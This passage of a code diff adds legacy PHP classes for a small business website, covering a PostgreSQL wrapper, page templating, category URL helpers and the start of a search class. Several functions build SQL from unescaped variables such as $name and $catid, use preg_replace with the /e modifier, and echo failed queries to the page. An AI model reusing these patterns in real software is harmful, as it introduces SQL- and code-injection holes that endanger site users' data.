+ if( ereg("(.*)/$",$name,$tmp) )
+ {
+ $name = $tmp[1];
+ }
+ $category = "category";
+ if( ereg("-([0-9]*)$",$name,$tmp ) )
+ {
+ $id = $tmp[1];
+ return( $id );
+ }
+ // should already be returning id at this point
+ // putting the _id on the end of all url's as
+ // the other way is very inifiecent for the database.
+ $name = str_replace( "-"," ",$name );
+ $query = "select id from $table where trim(lower(replace(replace(replace(replace(replace(replace($category,'\'',''),'/',''),'-',' '),'#',''),'&',''),'?',''))) = '".trim(strtolower($name))."'";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ foreach( $data as $key=>$val )
+ {
+ $catid = $val['id'];
+ }
+ return( $catid );
+ }
+ else
+ {
+ return( 0 );
+ }
+ }
+
+ function get_base_url( $id )
+ {
+ if( $this->pages[$id] )
+ {
+ return( $this->pages[$id] );
+ }
+ else
+ {
+ return( $this->pages['default'] );
+ }
+ }
+
+ /**
+ * getCategoryName:
+ * @param $id:
+ * @param $table:
+ * @param $&$DB :
+ *
+ * @return
+ * @access
+ **/
+ function get_category_name( $id, $table,&$DB )
+ {
+ if( !is_numeric( $id ) )
+ {
+ return( false );
+ }
+ if($id ==1)
+ {
+ return '';
+ }
+ if($table == "class_category")
+ {
+ $category = "name";
+ }
+ else
+ {
+ $category = "category";
+ }
+ $query = "select $category from $table where id = $id";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+
+ $add = '-'.$id;
+ if( $data[0]['category'] )
+ {
+ $category = $data[0]['category'].$add;
+ }
+ elseif( $data[0]['name'])
+ {
+ $category = $data[0]['name'].$add;
+ }
+ else
+ {
+ $category = $add;
+ }
+ return( $category );
+ }
+ }
+
+
+ /**
+ * setNameUrl:
+ * @param $$name :
+ *
+ * @return
+ * @access
+ **/
+ function set_name_url( $name )
+ {
+ $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+ $name = str_replace( "/","",$name );
+ $name = str_replace( "#","",$name );
+ $name = str_replace( "&","",$name );
+ $name = str_replace( "?","",$name );
+ $name = str_replace( "'","",$name );
+ return( $name );
+ }
+
+ /** valid email
+ Checks for a valid format and good (mx check)
+ email address.
+ @param string email the email address as string.
+ @return boolean
+ */
+ function valid_email ($email) {
+ if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$", $email, $check)) {
+ if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) {
+ return TRUE;
+ }
+ }
+ return FALSE;
+ }
+}
+?>
--- /dev/null
+<?php
+// $Id: class_toolbox.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+/*! @header DB Class
+ @abstract Gaslight Media Toolbox®
+ @discussion Gaslight Media base classes.
+ */
+/*! @class DB
+ @abstract Gaslight Media Toolbox®
+ @discussion Gaslight Media base database class.
+ */
+class GLM_DB
+ {
+ /*! @var host database host server name */
+ var $host;
+ /*! @var dbname name of the database */
+ var $dbname;
+ /*! @var user The user to connect as */
+ var $user;
+ /*! @var password The users password if any */
+ var $password;
+ /*! @var dbd Database connection result ID# */
+ var $dbd;
+ /*! @var conn bool if true use default CONN_STR */
+ var $conn;
+ /*! @var trans bool if true a transaction is in process */
+ var $trans;
+ var $dbd;
+ function GLM_DB()
+ {
+ $this->host = "";
+ $this->dbname = "";
+ $this->user = "nobody";
+ $this->password = "";
+ $this->conn = 1;
+ $this->trans = 0;
+ $this->dbd = "";
+ //$this->dbd = $this->db_connect();
+ }
+ /*! @function db_connect
+ @discussion Creates a connection to database specified $conn_str,
+ and returns a boolean for success.
+ @param conn_str Connect String
+ @param fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+ @result int - Returns an index or fails using html_error() function
+ */
+
+ function db_connect()
+ {
+ if($this->dbd)
+ return($this->dbd);
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($this->conn)
+ $conn = CONN_STR;
+ else
+ {
+ $conn = "host=" . $this->host . " "
+ . "dbname=" . $this->dbname . " "
+ . "user=" . $this->user . " "
+ . "password=" . $this->password;
+ }
+ if(!$this->dbd = pg_connect($conn))
+ echo pg_errormessage($conn);
+ break;
+ default:
+ return(0);
+ return($this->dbd);
+ }
+ }
+ /*! @function db_close
+ @discussion Closes the connection to database specified by the handle dbd
+ returns a boolean for success
+ @result bool - Returns 1 on success 0 if dbd is not a valid connection
+ */
+
+ function db_close()
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ @pg_close($this->dbd);
+ break;
+ default:
+ return(0);
+ }
+ }
+
+ /*! @function db_exec
+ @discussion Execute an SQL query, * returning a valid result index or zero(0) on
+ failure.
+ @param $qs -- SQL query string
+ @result int Returns a valid result index on success 0 on failure
+ */
+ function db_exec($qs)
+ {
+ if(!$this->dbd)
+ $this->dbd = $this->db_connect();
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if(!$ret = pg_exec($this->dbd, $qs))
+ echo "<font color=red>".$qs."</font>";
+ break;
+ default:
+ return(0);
+ }
+ return($ret);
+ }
+
+ /*! @function db_fetch_array
+ @discussion Stores the data in associative indices, using the field names as
+ keys.
+ @param $res -- valid database result index
+ @param $i -- row number
+ @param $type -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM
+ @result array Returns an associative array of key-value pairs
+ */
+
+ function db_fetch_array($res, $i, $type)
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $row = pg_fetch_array($res, $i, $type);
+ break;
+
+ default:
+ return(0);
+ }
+ return($row);
+ }
+
+ /*! @function db_freeresult
+ @discussion Free result memory.
+ @param $res -- valid database result index
+ @result bool - Returns 1 for success 0 for failure
+ */
+
+ function db_freeresult($res)
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_freeresult($res);
+ break;
+
+ default:
+ return(0);
+ }
+ return($ret);
+ }
+
+ /*! @function db_numrows
+ @discussion Determine number of rows in a result index
+ @param $res -- valid database result index
+ @result int - Returns number of rows
+ */
+
+ function db_numrows($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_numrows($res);
+ break;
+
+ default:
+ return(-1);
+ }
+ return($ret);
+ }
+ /*! @function db_auto_get_array
+ @discussion The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ @param $qs SQL query string
+ @param $i row number
+ @param $type PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+ @result array - Returns an associative array of key-value pairs
+ */
+
+ function db_auto_array($qs, $i, $type)
+ {
+
+ $dbd = $this->db_connect();
+ if(!$dbd)
+ return(0);
+ $res = db_exec($dbd, $qs);
+ if(!$res)
+ return(0);
+
+ $row = db_fetch_array($res, $i, $type);
+
+ if(!db_freeresult($res))
+ return(0);
+
+ db_close($dbd);
+ return($row);
+ }
+
+ /*! @function db_auto_exec
+ @discussion The auto function for executing a query.
+ This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns success (not a valid result index)
+ @param $qs SQL query string
+ @result int - Returns 1 for success 0 for failure
+ */
+
+ function db_auto_exec($qs)
+ {
+ $this->db_connect();
+ if(!$this->dbd)
+ return(0);
+ if(!$this->db_exec($qs))
+ {
+ return(0);
+ }
+ else {
+ return(1);
+ }
+ }
+ /*! @function db_auto_get_data
+ @discussion The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ @param string $qs SQL query string
+ @result Returns an associative array of key-value pairs or 0 on error
+ */
+
+ function db_auto_get_data($qs)
+ {
+ if(!$this->dbd)
+ $this->db_connect();
+ if( !($res = $this->db_exec($qs)) )
+ return( FALSE );
+ $totalrows = pg_NumRows($res);
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = $this->db_fetch_array($res, $i, PGSQL_ASSOC );
+ }
+ if(isset($data) && $data!="")
+ return( $data );
+ else
+ return(0);
+ }
+
+ /*! @function trans_start
+ @discussion Start a postgres transaction
+ @result bool true if sucessful
+ */
+ function trans_start()
+ {
+ if(!$this->trans)
+ {
+ if(!$this->dbd = $this->db_connect())
+ {
+ $this->trans = false;
+ return(false);
+ }
+ else
+ {
+ $this->db_exec("BEGIN WORK");
+ $this->trans = true;
+ return(true);
+ }
+ }
+ else
+ return(true);
+ }
+
+ /*! @function trans_end
+ @discussion Commit the postgres transaction
+ @result bool true if successful
+ */
+ function trans_end()
+ {
+ if(!$this->trans)
+ {
+ if(!$this->db_exec("COMMIT WORK"))
+ {
+ return(false);
+ }
+ else
+ return(true);
+ }
+ else
+ return(false);
+ }
+ /*! @function trans_exec
+ @discussion exec a postgres query in a
+ postgres transaction
+ @param string query
+ */
+ function trans_exec($query)
+ {
+ if($query!="")
+ {
+ if(!$ret = $this->db_exec($query))
+ {
+ $this->db_exec("ABORT WORK");
+ return(false);
+ }
+ else
+ {
+ return($ret);
+ }
+ }
+ else
+ return(false);
+ }
+ }
+/*! @class TEMPLATE
+ @abstract Gaslight Media Toolbox®
+ @discussion Class for using template drivin
+ pages.
+ */
+class GLM_TEMPLATE{
+ /*! @var linkClass The style class for links*/
+ var $linkClass;
+ /*! @var textBegin The style starting for text*/
+ var $textBegin;
+ /*! @var textEnd The style ending for text*/
+ var $textEnd;
+ /*! @var headerBegin The style starting for header */
+ var $headerBegin;
+ /*! @var headerEnd The style ending for header*/
+ var $headerEnd;
+ /*! @var subheaderBegin The style starting for header */
+ var $subheaderBegin;
+ /*! @var subheaderEnd The style ending for header*/
+ var $subheaderEnd;
+ /*! @var imgborder The border for images*/
+ var $imgborder;
+ /*! @var imgvspace The verticle space for images*/
+ var $imgvspace;
+ /*! @var imghspace The horizontal space for images*/
+ var $imghspace;
+ /*! @var imgalign The alignment of images*/
+ var $imgalign;
+ /*! @var imgalternate 1 alternate images 0 not*/
+ var $imgalternate;
+ /*! @var imgsize The path to the image directory*/
+ var $imgsize;
+ /*! @var imgvars The vars to be passed to image string*/
+ var $imgvars;
+ /*! @var DB The database class*/
+ var $DB;
+ /*! @var data The category array*/
+ var $data;
+ /*! @var items The items array*/
+ var $items;
+ /*! @var type The type*/
+ var $type;
+ /*! @var wholeThread The thread string*/
+ var $wholeThread;
+ /*! @var threadCount The thread count*/
+ var $threadCount;
+ var $catid;
+
+ /*! @function TEMPLATE
+ @discussion Contsructor of the class
+ */
+ function GLM_TEMPLATE($catid)
+ {
+ $this->DB =& new GLM_DB();
+ $this->linkClass = "link";
+ $this->textBegin = "<span class=\"content\">";
+ $this->textEnd = "</span><br />";
+ $this->headerBegin = "<span class=\"subheadline\">";
+ $this->headerEnd = "</span><br />";
+ $this->subheaderBegin = "<span class=\"subheadline\">";
+ $this->subheaderEnd = "</span><br />";
+ $this->imgborder = "0";
+ $this->imgvspace = "5";
+ $this->imghspace = "7";
+ $this->imgalternate = 0;
+ $this->imgalign = "right";
+ $this->imgsize = RESIZED;
+ $this->imgvars = "";
+ $this->wholeThread = "";
+ $this->threadCount = 1;
+ $this->catid = $catid;
+ }
+ /*! @function set_contact
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the contact string
+ @param text The text as string
+ @result text
+ */
+ function set_contact($text,$email)
+ {
+ if($email!="")
+ $text = "";
+ else
+ $text = $this->textBegin.'Contact Name: '.$text.$this->textEnd;
+ return($text);
+ }
+ /*! @function set_text
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the contact string
+ @param text The text as string
+ @result text
+ */
+ function set_text($text)
+ {
+ if($text!="")
+ {
+ $text = $this->textBegin.nl2br($text).$this->textEnd;
+ }
+ return($text);
+ }
+ /*! @function set_img
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the image string
+ @param image The image
+ @param size The path
+ @param align The alignment
+ @param border The border
+ @param vspace The vspace
+ @param hspace The hspace
+ @result image
+ */
+ function set_img($image,$size,$align="right",$border="0",$vspace="7",$hspace="5")
+ {
+ if($image!="")
+ {
+ $img = '<img src="'.$size.$image.'" alt="'.$image.'" align="'.$this->imgalign.'"
+ '.$this->imgvars.' border="'.$border.'" vspace="'.$vspace.'"
+ hspace="'.$hspace.'"><br />';
+ return($img);
+ }
+ }
+ /*! @function set_url
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the url string
+ @param url The url
+ @param text The text as string
+ @result text
+ */
+ function set_url($url,$text)
+ {
+ if($url!="")
+ {
+ if(!$text)
+ $text = $url;
+ $url = $this->textBegin.'<b>WebSite:</b> <a class="'.$this->linkClass.'"
+ href="http://'.$url.'" target="_blank">'.$text.'</a>'.$this->textEnd;
+ }
+ return($url);
+ }
+ /*! @function set_email
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the email string
+ @param email The email as string
+ @result text
+ */
+ function set_email($email,$contact)
+ {
+ if($email!="")
+ {
+ if($contact!="")
+ {
+ $email = $this->textBegin.'<b>Contact:</b> <a class="'.$this->linkClass.'" href="mailto:'.$email.'" target="_blank">'.$contact.'</a>'.$this->textEnd;
+ }
+ else
+ {
+ $email = $this->textBegin.'<b>Email:</b> <a class="'.$this->linkClass.'" href="mailto:'.$email.'" target="_blank">'.$email.'</a>'.$this->textEnd;
+ }
+ }
+ return($email);
+ }
+ /*! @function set_header
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the header string
+ @param text The text as string
+ @result text
+ */
+ function set_header($text)
+ {
+ if($text!="")
+ {
+ $text = $this->headerBegin.$text.$this->headerEnd;
+ }
+ return($text);
+ }
+ /*! @function set_subheader
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the subheader string
+ @param text The text as string
+ @result text
+ */
+ function set_subheader($text)
+ {
+ if($text!="")
+ {
+ $text = $this->subheaderBegin.$text.$this->subheaderEnd;
+ }
+ return($text);
+ }
+ /*! @function set_phone
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the phone string
+ @param text The text as string
+ @result text
+ */
+ function set_phone($text)
+ {
+ if($text!="")
+ {
+ $text = $this->textBegin."<b>Phone:</b> ".$text.$this->textEnd;
+ }
+ return($text);
+ }
+ /*! @function set_fax
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the fax string
+ @param text The text as string
+ @result text
+ */
+ function set_fax($text)
+ {
+ if($text!="")
+ {
+ $text = $this->textBegin."<b>Fax:</b> ".$text.$this->textEnd;
+ }
+ return($text);
+ }
+ /*! @function set_file
+ @abstract Gaslight Media Toolbox®
+ @discussion Set the file string
+ @param text The text as string
+ @result text
+ */
+ function set_file($text,$name)
+ {
+ if($text!="")
+ {
+ $outtext = $this->textBegin.'<b>File Download:</b> <a class="'.$this->linkClass.'"
+ href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+ if($name)
+ $outtext .= $name;
+ else
+ $outtext .= $text;
+ $outtext .= '</a>'.$this->textEnd;
+ }
+ return($outtext);
+ }
+ /*! @function get_all
+ @abstract Gaslight Media Toolbox®
+ @discussion Does the query and set_data calls boths arrays
+ for the data and items array
+ @result void sets the arrays
+ */
+ function get_all()
+ {
+ global $catid;
+ $this->DB->db_connect();
+ $cat_query = "SELECT *
+ FROM bus_category
+ WHERE id = $catid
+ ORDER BY pos";
+ $res = $this->set_data($this->DB->db_auto_get_data($cat_query));
+ $this->data = $res[0];
+ $item_query = "SELECT b.*
+ FROM bus b LEFT OUTER JOIN bus_category_bus bcb
+ ON (bcb.busid = b.id)
+ WHERE bcb.catid = $catid
+ ORDER BY bcb.pos";
+ $this->items = $this->set_data($this->DB->db_auto_get_data($item_query));
+ //$this->DB->db_close();
+ }
+ /*! @function set_data
+ @abstract Gaslight Media Toolbox®
+ @discussion Calls each function of the class
+ based on the key af the array $data[0][$key]
+ @param data The input array from db query
+ @result data The finished array
+ */
+ function set_data($data)
+ {
+ if(is_array($data))
+ {
+ foreach($data as $k=>$val)
+ {
+ foreach($val as $key=>$value)
+ {
+ if(strstr($key,"image") && $value!="")
+ {
+ $data[$k][$key] = $this->set_img($value,$this->imgsize,
+ $this->imgalign,$this->imgborder,$this->imgvspace,
+ $this->imghspace);
+ if($this->imgalign == "right" && $this->imgalternate)
+ $this->imgalign = "left";
+ elseif($this->imgalternate)
+ $this->imgalign = "right";
+ }
+ elseif(strstr($key,"file") && strstr($key,"name") && $value!="")
+ {
+ }
+ elseif(strstr($key,"url") && strstr($key,"name") && $value!="")
+ {
+ }
+ elseif(strstr($key,"descr") && $value!="")
+ {
+ $data[$k][$key] = $this->set_text($value);
+ }
+ elseif($key == "contactname" && $value!="")
+ {
+ $data[$k][$key] = $this->set_contact($value,$data[$k]['email']);
+ }
+ elseif($key == "name" && $value!="")
+ {
+ $data[$k][$key] = $this->set_subheader($value);
+ }
+ elseif($key == "intro" && $value!="")
+ {
+ $data[$k][$key] = $this->set_subheader($value);
+ }
+ elseif($key == "category" && $value!="")
+ {
+ $data[$k][$key] = $this->set_header($value);
+ }
+ elseif($key == "url" && $value!="")
+ {
+ $data[$k][$key] = $this->set_url($value,$data[$k]["urlname"]);
+ }
+ elseif($key == "email" && $value!="")
+ {
+ $data[$k][$key] = $this->set_email($value,$data[$k]["contactname"]);
+ }
+ elseif($key == "phone" && $value!="")
+ {
+ $data[$k][$key] = $this->set_phone($value);
+ }
+ elseif($key == "fax" && $value!="")
+ {
+ $data[$k][$key] = $this->set_fax($value);
+ }
+ elseif(strstr($key,"file") && $value!="")
+ {
+ $data[$k][$key] = $this->set_file($value,$data[$k][$key.'name']);
+ }
+ else
+ {
+ $data[$k][$key] = $this->set_text($value);
+ }
+ }
+ }
+ return($data);
+ }
+ return(false);
+ }
+ /*! @function interpolate
+ @abstract Gaslight Media Toolbox®
+ @discussion Take the lines of a file and do replacing of the <PHP:>
+ tags with the data.
+ @param lines the line from the file
+ @param data the data array
+ @result output as string
+ */
+ function interpolate ($lines, $data=NULL)
+ {
+ global $nav;
+ $state = 0;
+
+ foreach( $lines as $line )
+ {
+ switch( $state )
+ {
+ case 0:
+ if (preg_match ("/<PHP:REPEAT NAME=\"([\w\d]+)\">/", $line, $matches))
+ {
+ $loop_name = $matches[1];
+ $state = 1;
+ }
+ elseif(preg_match ("/<PHP:NAV>/", $line, $matches))
+ {
+ $output[] = str_replace ("<PHP:NAV>", "$nav", $line) . "\n";
+ }
+ else
+ $output[] = preg_replace ("/<PHP:([\w\d]+)>/sUe", "\$data['\\1']", $line) . "\n";
+ break;
+
+ case 1:
+ if (!preg_match ("/<PHP:STOP NAME=\"$loop_name\">/", $line))
+ $loop_text[] = $line;
+ else {
+ //$collection = $_GLOBALS[$loop_name];
+ global ${$loop_name};
+ if(is_array(${$loop_name}))
+ {
+ foreach( ${$loop_name} as $row )
+ {
+ $tempout = $this->interpolate ($loop_text, $row);
+ $output = array_merge( $output, $tempout );
+ }
+ }
+ $state=0;
+ unset($collection);
+ unset($loop_text);
+ }
+ break;
+ }
+ }
+ return $output;
+ }
+
+ function load_static_page()
+ {
+ if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+ {
+ include("static/".$this->catid.".phtml");
+ }
+ }
+ /*! @function template_parser
+ @abstract Gaslight Media Toolbox®
+ @discussion This function creates data
+ and items arrays and does the output for the page.
+ @result void
+ */
+ function template_parser()
+ {
+ $this->get_all();
+ if($this->catid != 1)
+ echo $this->data['category'];
+ if($this->data[image] || $this->data[description]
+ || $this->data[intro] )
+ {
+ printf("%s<span class=\"content\">%s %s %s</span>",
+ $this->data[intro],
+ $this->data[image],
+ $this->data[description],
+ ($this->data[image])?"<br clear=\"all\">":""
+ );
+ }
+ //if($this->type=="home")
+ //echo $this->data[image];
+ $this->load_static_page();
+ switch($this->type)
+ {
+ case "jobs":
+ echo '<table cellspacing="0" cellpadding="5" border="0" width="400">';
+ if(is_array($this->items))
+ {
+ foreach($this->items as $key=>$val)
+ {
+ printf('<tr valign="top"><td colspan="2">%s</td>
+ <tr valign="top">
+ <td width="150" align="left" bgcolor="#C9BCA4">
+ %s<BR><span class="smblue">
+ %s
+ %s
+ %s, %s %s</span>
+ </td>
+ <td> <span class="content">%s</span> </td>
+ </tr>
+ <tr>
+ <td colspan="2"> </td>
+ </tr>
+ <tr valign="top">
+ <td colspan="2">
+ <hr color="#7089a7">
+ </td>
+ </tr>
+ <tr>
+ <td colspan="2"> </td>
+ </tr>',
+ $val[name],
+ $val[email],
+ $val[phone],
+ $val[fax],
+ $val[address]."<br>",
+ $val[city],
+ $val[state],
+ $val[zip],
+ $val[description]."<br>"
+ );
+ }
+ }
+ echo '</table>';
+ break;
+
+ case "gallery":
+ echo '<table cellspacing="0" cellpadding="0" border="0" width="400">';
+ if(is_array($this->items))
+ {
+ foreach($this->items as $key=>$val)
+ {
+ printf('<tr valign="top">
+ <td width="150" align="left">%s</td><td style="padding-left: 10px;">%s<br>
+ <span class="content">%s</span></td>',
+ $val[image],
+ $val[name],
+ $val[description]."<br>"
+ );
+ if($val[image2] || $val[description2])
+ {
+ printf('</tr>
+ <tr><td colspan="2"> </td></tr>
+ <tr valign="top"><td width="150" align="left">%s</td><td style="padding-left: 10px;">
+ <span class="content">%s</span></td>
+ ',
+ $val[image2],
+ $val[description2]);
+ }
+
+ if($val[image3] || $val[description3])
+ {
+ printf('</tr>
+ <tr><td colspan="2"> </td></tr>
+ <tr valign="top"><td width="150" align="left">%s</td><td style="padding-left: 10px;">
+ <span class="content">%s</span></td>
+ ',
+ $val[image3],
+ $val[description3]);
+ }
+
+ echo '</tr>
+ <tr><td colspan="2"> </td></tr>
+ <tr valign="top"><td colspan="2"><hr color="#7089a7"></td></tr>
+ <tr><td colspan="2"> </td></tr>';
+ }
+ }
+ echo '</table>';
+ break;
+
+ default:
+ if(is_array($this->items))
+ {
+ foreach($this->items as $key=>$val)
+ {
+ if($val["image3"] != "")
+ {
+ $descr[1] = $val["description2"].'<br clear="all">';
+ }
+ else{
+ $descr[1] = $val["description2"];
+ }
+ if($val["image2"] != "")
+ {
+ $descr[0] = $val["description"].'<br clear="all">';
+ }
+ else{
+ $descr[0] = $val["description"];
+ }
+ $descr[2] = $val["description3"];
+
+ printf("%s
+ %s %s %s %s %s %s %s %s %s %s %s %s %s
+ <br clear=\"all\">",
+ $val[name],
+ $val[image],
+ $descr[0],
+ $val[image2],
+ $descr[1],
+ $val[image3],
+ $descr[2],
+ $val[contactname],
+ $val[email],
+ $val[phone],
+ $val[url],
+ $val[file],
+ $val[file2],
+ $val[file3]
+ );
+ }
+ }
+ break;
+ }
+ }
+
+
+ /*! @function sub_nav
+ @abstract Gaslight Media Toolbox®
+ @discussion Create a sub navigation 4 across
+ @param catid The catid for the page.
+ @result void
+ */
+ function sub_nav($catid)
+ {
+ //$catid = $this->get_parentid($catid);
+ $query = "SELECT id,category FROM bus_category WHERE parent = $catid ORDER BY pos";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ /*
+ echo '<table cellspacing="0" cellpadding="3" border="0" width="200" align="right">
+ <TR valign="top">
+ <td bgcolor="#d6f1ff" align="left">';
+ */
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ echo '<a href="'.URL_BASE.''.$GLOBALS["PHP_SELF"].'?catid='.$val[id].'" class="link2">';
+ echo $val[category];
+ echo '</a><br />';
+ }
+ /*
+ echo '</td>
+ </tr>
+ </table>';
+ */
+ }
+ }
+
+ /*! @function get_parentid
+ @abstract Gaslight Media Toolbox®
+ @discussion Get the parent id for the category.
+ @param id The catid for the page.
+ @param parentshow An array of bus_categories.
+ @result parentid Th catid of the parent.
+ */
+ function get_parentid($id,$parentshow=NULL)
+ {
+ if($id == 0)
+ return(0);
+ if($parentshow=="")
+ {
+ //$this->DB->db_connect();
+ $qs = "SELECT id,parent,category
+ FROM bus_category";
+
+ $parentrow = $this->DB->db_auto_get_data($qs);
+ //$this->DB->db_close();
+
+ foreach($parentrow as $key=>$value)
+ {
+ $parentshow["$value[id]"] = $value['parent'];
+ }
+ }
+ if($parentshow["$id"] != "")
+ {
+
+ $test = $parentshow["$id"];
+ if($test == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ $id = $this->get_parentid($test,$parentshow);
+ }
+ if($id == 0)
+ return($test);
+ return($id);
+ }
+ return($id);
+ }
+
+ /*! @function show_catimg
+ @abstract Gaslight Media Toolbox®
+ @discussion output the category image.
+ @param catid The catid for the page.
+ @result void
+ */
+ function show_catimg($catid)
+ {
+ //$this->DB->db_connect();
+ $query = "SELECT image FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ //$this->DB->db_close();
+ if($data[0][image]!="")
+ {
+ $img = '<img src="'.MIDSIZED.$data[0][image].'" border="0" vspace="30" hspace="0">';
+ }
+ else
+ {
+ $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+ }
+ echo $img;
+ echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+ }
+
+ /*! @function show_catheader
+ @abstract Gaslight Media Toolbox®
+ @discussion output the category name.
+ @param catid The catid for the page.
+ @result void
+ */
+ function show_catheader($catid)
+ {
+ //$this->DB->db_connect();
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ //$this->DB->db_close();
+ if($data[0][category]!="")
+ {
+ $header = $data[0][category];
+ }
+ else
+ {
+ $header = ' ';
+ }
+ echo $header;
+ }
+ /*! @function get_menu_string
+ @abstract Gaslight Media Toolbox®
+ @discussion get categories
+ for the phplayermenu
+ @result string - The menu string
+ */
+ function get_menu_string()
+ {
+ $query = "SELECT id,parent,category FROM bus_category ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = $this->sortChilds($data);
+ $string = $this->convertToThread($newdata,$newdata[0]);
+ return($string);
+ /*
+ echo "<pre>";
+ print_r($newdata);
+ echo "</pre>";
+ */
+ }
+ function sortChilds($threads)
+ {
+ foreach($threads as $var=>$value)
+ {
+ $childs[$value[parent]][$value[id]] = $value;
+ }
+ return($childs);
+ }
+ function convertToThread($threads, $thread)
+ {
+ foreach($thread as $parent=>$value)
+ {
+ if($value[id]==1)
+ $p = "index";
+ else
+ $p = "products";
+ $this->wholeThread .= str_repeat(".",$this->threadCount);
+ $this->wholeThread .= "|".$value[category];
+ $this->wholeThread .= "|".URL_BASE."$p.phtml?catid=".$value[id];
+ $this->wholeThread .="\n";
+ if($threads[$parent])
+ {
+ $this->threadCount++;
+ $this->convertToThread($threads, $threads[$parent]);
+ }
+ }
+ $this->threadCount--;
+ return $this->wholeThread;
+ }
+
+ /*! @function get_ancesters
+ @discussion get the ancesters for this category
+ @param catid
+ @param count starting counter
+ */
+ function get_ancesters($catid,$count)
+ {
+ if($catid)
+ {
+ $query = "SELECT id,category,parent
+ FROM bus_category
+ WHERE id = ".$catid;
+ $res = $this->DB->db_auto_get_data($query);
+ $id = $res[0][id];
+ $parent = $res[0][parent];
+ $category = $res[0][category];
+ $this->ancesters[$count]["id"] = $id;
+ $this->ancesters[$count]["label"] = $category;
+ $this->ancesters[$count]["link"] = URL_BASE."products.phtml?catid=$id&".SID;
+ $this->get_ancesters($parent,$count+1,$conn);
+
+ return array_reverse($this->ancesters);
+ }
+ }
+
+ /*! @function print_ancesters
+ @discussion print out the ancesters
+ @param catid the id to start at.
+ */
+ function print_ancesters($catid)
+ {
+ $string = $this->get_ancesters($catid,0);
+ if(is_array($string))
+ {
+ echo '<tr valign="top">';
+ for($i=0;$i<count($string)-1;$i++)
+ {
+ if($i == 0)
+ {
+ echo '<td class="tdpagetitle" align="right">
+ <a class="link" href="'.$string[$i][link].'">'.$string[$i][label].'</a>
+ </td>
+ <td align="left" width="10" background="assets/angle.gif"><img src="assets/clear.gif" width="10" height="10" vspace="0" hspace="0" border="0"></td>
+ <td class="tdpagetitle2" width="80%">';
+ }
+ else
+ {
+ echo '<b><a class="link" href="'.$string[$i][link].'">'.$string[$i][label].'</a></b>';
+ }
+ }
+ echo '</td></tr>';
+ }
+ }
+
+
+}
+// $Id: class_toolbox.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+/*! @class seach glm-search engine for the category/business_listing
+ @discussion This class was made to provide a search page for
+ our event,business_listing,newsletter databases
+ */
+class search{
+ /*! @var -*/
+ var $parentshow; // array containting the catids and parentids
+ /*! @var pages */
+ var $pages;
+ /*! @var eventquery */
+ var $eventquery;
+ /*! @var bussyquery */
+ var $bussyquery;
+ /*! @var newsyquery */
+ var $newsyquery;
+ /*! @var sr */
+ var $sr;
+ /*! @var p */
+ var $p;
+ /*! @var results */
+ var $results;
+ /*! @var threads */
+ var $threads;
+ var $type;
+
+ /*! @function search
+ @discussion constructor function
+ @param none
+ @result none
+ */
+ function search()
+ {
+ $this->newsyquery = "";
+ $this->bussyquery = "";
+ $this->eventquery = "";
+ $this->pages = array();
+ $this->parentshow = array();
+ $this->type = "general";
+ }
+
+ /*! @function set_events
+ @discussion Sets up the query for the event search
+ @param none
+ @result none
+ */
+ function set_events()
+ {
+ $eventf[] = "e.header".$this->sr;
+ $eventf[] = "e.descr".$this->sr;
+ $eventf[] = "e.loc".$this->sr;
+ $eventf[] = "e.contact".$this->sr;
+ $this->eventquery = "SELECT e.*
+ FROM event e
+ WHERE ";
+ $eevent = implode(" OR ",$eventf);
+ $this->eventquery .= $eevent;
+ }
+
+ /*! @function set_bus
+ @discussion Sets the query for the business_listing db search
+ @param none
+ @result none
+ */
+ function set_bus()
+ {
+ $busf[] = "b.name".$this->sr;
+ $busf[] = "b.description".$this->sr;
+ $busf[] = "b.city".$this->sr;
+ $busf[] = "b.state".$this->sr;
+ $busf[] = "b.zip".$this->sr;
+ $busf[] = "b.phone".$this->sr;
+ $busf[] = "b.fax".$this->sr;
